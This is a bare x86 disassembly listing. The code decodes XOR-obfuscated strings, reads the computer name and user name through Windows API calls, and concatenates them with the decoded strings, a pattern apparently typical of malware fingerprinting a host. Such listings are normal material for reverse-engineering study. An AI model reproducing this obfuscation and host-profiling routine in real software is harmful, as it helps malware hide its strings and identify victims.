mov ecx, dword [str.hjxkysi_HFD]
mov esi, dword [0x44318c]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], esi
cmp byte [0x44318f], 0
je 0x40ac0a
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp edi, 2
jl 0x40abe0
movaps xmm4, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movd dword [ebp - 0xa0], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x9c], xmm1
jmp 0x40ac0a
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xa0], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 8
jl 0x40abe0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
lea ecx, [ebp - 0xa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ac31
sub ecx, edx
push ecx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x120]
call fcn.004040a0
mov ax, word [0x443440]
mov word [ebp - 0x26], ax
test ah, ah
je 0x40ac87
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x26], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 2
jl 0x40ac60
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
lea ecx, [ebp - 0x26]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40acb0
sub ecx, edx
push ecx
lea eax, [ebp - 0x26]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.004040a0
mov ax, word [0x443354]
mov word [ebp - 0x27], ax
mov al, byte [0x443356]
mov byte [ebp - 0x25], al
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x27], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 3
jl 0x40ace0
mov dword [ebp - 0x55c], 0
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 0xf
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ad30
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x55c]
call fcn.004040a0
mov ax, word [0x442dfc]
mov word [ebp - 0x27], ax
mov al, byte [0x442dfe]
mov byte [ebp - 0x25], al
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x27], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 3
jl 0x40ad60
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0xf
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40adb0
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x218]
call fcn.004040a0
mov ax, word [0x443088]
mov word [ebp - 0x27], ax
mov al, byte [0x44308a]
mov byte [ebp - 0x25], al
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x27], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 3
jl 0x40ade0
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ae30
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x26c]
call fcn.004040a0
mov ax, word [0x4431d0]
mov word [ebp - 0x26], ax
test ah, ah
je 0x40ae87
xor edx, edx
mov dword [ebp - 0x2c], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x26], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 2
jl 0x40ae60
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
lea ecx, [ebp - 0x26]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aeb0
sub ecx, edx
push ecx
lea eax, [ebp - 0x26]
push eax
lea ecx, [ebp - 0x420]
call fcn.004040a0
mov dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
test eax, eax
je 0x40af23
lea ecx, [ebp - 0xe0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40af10
sub ecx, edx
push ecx
lea eax, [ebp - 0xe0]
push eax
jmp 0x40af2a
push 3
push 0x442c48
lea ecx, [ebp - 0x438]
call fcn.004040a0
mov ax, word [0x442ee0]
mov word [ebp - 0x26], ax
test ah, ah
je 0x40af77
xor edx, edx
mov dword [ebp - 0x2c], edx
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x26], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 2
jl 0x40af50
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
lea ecx, [ebp - 0x26]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40afa0
sub ecx, edx
push ecx
lea eax, [ebp - 0x26]
push eax
lea ecx, [ebp - 0x98]
call fcn.004040a0
mov dword [ebp - 0xec], 0x41
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
test eax, eax
je 0x40b015
lea ecx, [ebp - 0x408]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b002
sub ecx, edx
push ecx
lea eax, [ebp - 0x408]
push eax
jmp 0x40b01c
push 3
push 0x442c48
lea ecx, [ebp - 0x450]
call fcn.004040a0
mov ax, word [0x4431d0]
mov word [ebp - 0x26], ax
test ah, ah
je 0x40b067
xor edx, edx
mov dword [ebp - 0x2c], edx
nop word [eax + eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x26], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 2
jl 0x40b040
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4cc], 0xf
lea ecx, [ebp - 0x26]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b090
sub ecx, edx
push ecx
lea eax, [ebp - 0x26]
push eax
lea ecx, [ebp - 0x4e0]
call fcn.004040a0
movq xmm0, qword [0x442db4]
movq qword [ebp - 0x199], xmm0
mov eax, dword [0x442dbc]
mov dword [ebp - 0x191], eax
mov al, byte [0x442dc0]
mov byte [ebp - 0x18d], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40b1f0
movaps xmm4, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x442db4]
pxor xmm1, xmm0
movd dword [ebp - 0x199], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x195]
pxor xmm1, xmm0
movd dword [ebp - 0x195], xmm1
mov edx, 8
mov dword [ebp - 0x24], edx
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x199], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xd
jl 0x40b1f0
mov dword [ebp - 0x58c], 0
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 0xf
lea ecx, [ebp - 0x199]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b248
sub ecx, edx
push ecx
lea eax, [ebp - 0x199]
push eax
lea ecx, [ebp - 0x58c]
call fcn.004040a0
lea eax, [ebp - 0x58c]
push eax
lea edx, [ebp - 0x688]
lea ecx, [ebp - 0x254]
call fcn.00407750
add esp, 4
lea ecx, [ebp - 0x4e0]
push ecx
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x80]
call fcn.00411db0
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x5e4]
call fcn.00411db0
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x5e4]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x140]
call fcn.00411db0
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x5cc]
call fcn.00411db0
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x5cc]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x17c]
call fcn.00411db0
lea eax, [ebp - 0x26c]
push eax
lea edx, [ebp - 0x688]
lea ecx, [ebp - 0x104]
call fcn.00407750
add esp, 4
push eax
lea eax, [ebp - 0x17c]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x23c]
call fcn.00411db0
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x200]
call fcn.00411db0
lea eax, [ebp - 0x6a0]
push eax
lea edx, [ebp - 0x200]
lea ecx, [ebp - 0x544]
call fcn.00411710
add esp, 4
lea ecx, [ebp - 0x55c]
push ecx
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x574]
call fcn.00411db0
lea eax, [ebp - 0x50]
push eax
lea edx, [ebp - 0x574]
lea ecx, [ebp - 0x524]
call fcn.00411710
add esp, 4
lea ecx, [ebp - 0x2dc]
push ecx
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1a4]
call fcn.00411db0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x1a4]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0xb8]
call fcn.00411db0
push 0x442c54
lea ecx, [ebp - 0xb8]
call fcn.004037f0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0x447ac0
lea ecx, [ebp - 0x68]
call fcn.00403940
push eax
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0xd0]
call fcn.00411db0
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x40b44d
inc edx
mov ecx, dword [ebp - 0x50]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b443
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x40b487
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b47d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
mov edx, dword [ebp - 0x190]
cmp edx, 0x10
jb 0x40b4dc
inc edx
mov ecx, dword [ebp - 0x1a4]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b4d2
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x510]
cmp edx, 0x10
jb 0x40b516
inc edx
mov ecx, dword [ebp - 0x524]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b50c
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x514], 0
mov dword [ebp - 0x510], 0xf
mov byte [ebp - 0x524], 0
mov edx, dword [ebp - 0x560]
cmp edx, 0x10
jb 0x40b56b
inc edx
mov ecx, dword [ebp - 0x574]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b561
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 0xf
mov byte [ebp - 0x574], 0
mov edx, dword [ebp - 0x530]
cmp edx, 0x10
jb 0x40b5c0
inc edx
mov ecx, dword [ebp - 0x544]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b5b6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 0xf
mov byte [ebp - 0x544], 0
mov edx, dword [ebp - 0x1ec]
cmp edx, 0x10
jb 0x40b615
inc edx
mov ecx, dword [ebp - 0x200]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b60b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0xf
mov byte [ebp - 0x200], 0
mov edx, dword [ebp - 0x228]
cmp edx, 0x10
jb 0x40b66a
inc edx
mov ecx, dword [ebp - 0x23c]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b660
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x168]
cmp edx, 0x10
jb 0x40b6a4
inc edx
mov ecx, dword [ebp - 0x17c]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b69a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x5b8]
cmp edx, 0x10
jb 0x40b6de
inc edx
mov ecx, dword [ebp - 0x5cc]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b6d4
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x40b718
inc edx
mov ecx, dword [ebp - 0x140]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b70e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x5d0]
cmp edx, 0x10
jb 0x40b752
inc edx
mov ecx, dword [ebp - 0x5e4]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b748
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x40b786
inc edx
mov ecx, dword [ebp - 0x80]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b77c
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x240]
cmp edx, 0x10
jb 0x40b7c0
inc edx
mov ecx, dword [ebp - 0x254]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b7b6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
mov edx, dword [ebp - 0x578]
cmp edx, 0x10
jb 0x40b815
inc edx
mov ecx, dword [ebp - 0x58c]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b80b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x4cc]
cmp edx, 0x10
jb 0x40b84f
inc edx
mov ecx, dword [ebp - 0x4e0]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b845
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x43c]
cmp edx, 0x10
jb 0x40b889
inc edx
mov ecx, dword [ebp - 0x450]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b87f
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x84]
cmp edx, 0x10
jb 0x40b8c3
inc edx
mov ecx, dword [ebp - 0x98]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b8b9
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x424]
cmp edx, 0x10
jb 0x40b8fd
inc edx
mov ecx, dword [ebp - 0x438]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b8f3
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x40c]
cmp edx, 0x10
jb 0x40b937
inc edx
mov ecx, dword [ebp - 0x420]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b92d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0xf0]
cmp edx, 0x10
jb 0x40b971
inc edx
mov ecx, dword [ebp - 0x104]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b967
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0xf
mov byte [ebp - 0x104], 0
mov edx, dword [ebp - 0x258]
cmp edx, 0x10
jb 0x40b9c6
inc edx
mov ecx, dword [ebp - 0x26c]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b9bc
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x204]
cmp edx, 0x10
jb 0x40ba00
inc edx
mov ecx, dword [ebp - 0x218]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b9f6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x548]
cmp edx, 0x10
jb 0x40ba3a
inc edx
mov ecx, dword [ebp - 0x55c]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ba30
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x2c8]
cmp edx, 0x10
jb 0x40ba74
inc edx
mov ecx, dword [ebp - 0x2dc]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ba6a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x40baae
inc edx
mov ecx, dword [ebp - 0x120]
mov eax, ecx
cmp edx, 0x1000
jb 0x40baa4
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x40bae2
inc edx
mov ecx, dword [ebp - 0x68]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bad8
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ee60
push edx
push ecx
call fcn.00419018
add esp, 8
push 0
call fcn.00420d89
add esp, 4
mov esi, eax
mov dword [ebp - 0x34], edx
movq xmm0, qword [0x44315c]
movq qword [ebp - 0x185], xmm0
mov cl, byte [0x443164]
mov byte [ebp - 0x17d], cl
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x185], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 9
jl 0x40bb12
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
lea ecx, [ebp - 0x185]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bb63
sub ecx, edx
push ecx
lea eax, [ebp - 0x185]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.004040a0
movq xmm0, qword [0x442db4]
movq qword [ebp - 0x199], xmm0
mov eax, dword [0x442dbc]
mov dword [ebp - 0x191], eax
mov al, byte [0x442dc0]
mov byte [ebp - 0x18d], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40bcc5
movaps xmm4, xmmword [0x443730]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x442db4]
pxor xmm1, xmm0
movd dword [ebp - 0x199], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x195]
pxor xmm1, xmm0
movd dword [ebp - 0x195], xmm1
mov edx, 8
mov dword [ebp - 0x24], edx
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x199], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xd
jl 0x40bcc5
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
lea ecx, [ebp - 0x199]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bd20
sub ecx, edx
push ecx
lea eax, [ebp - 0x199]
push eax
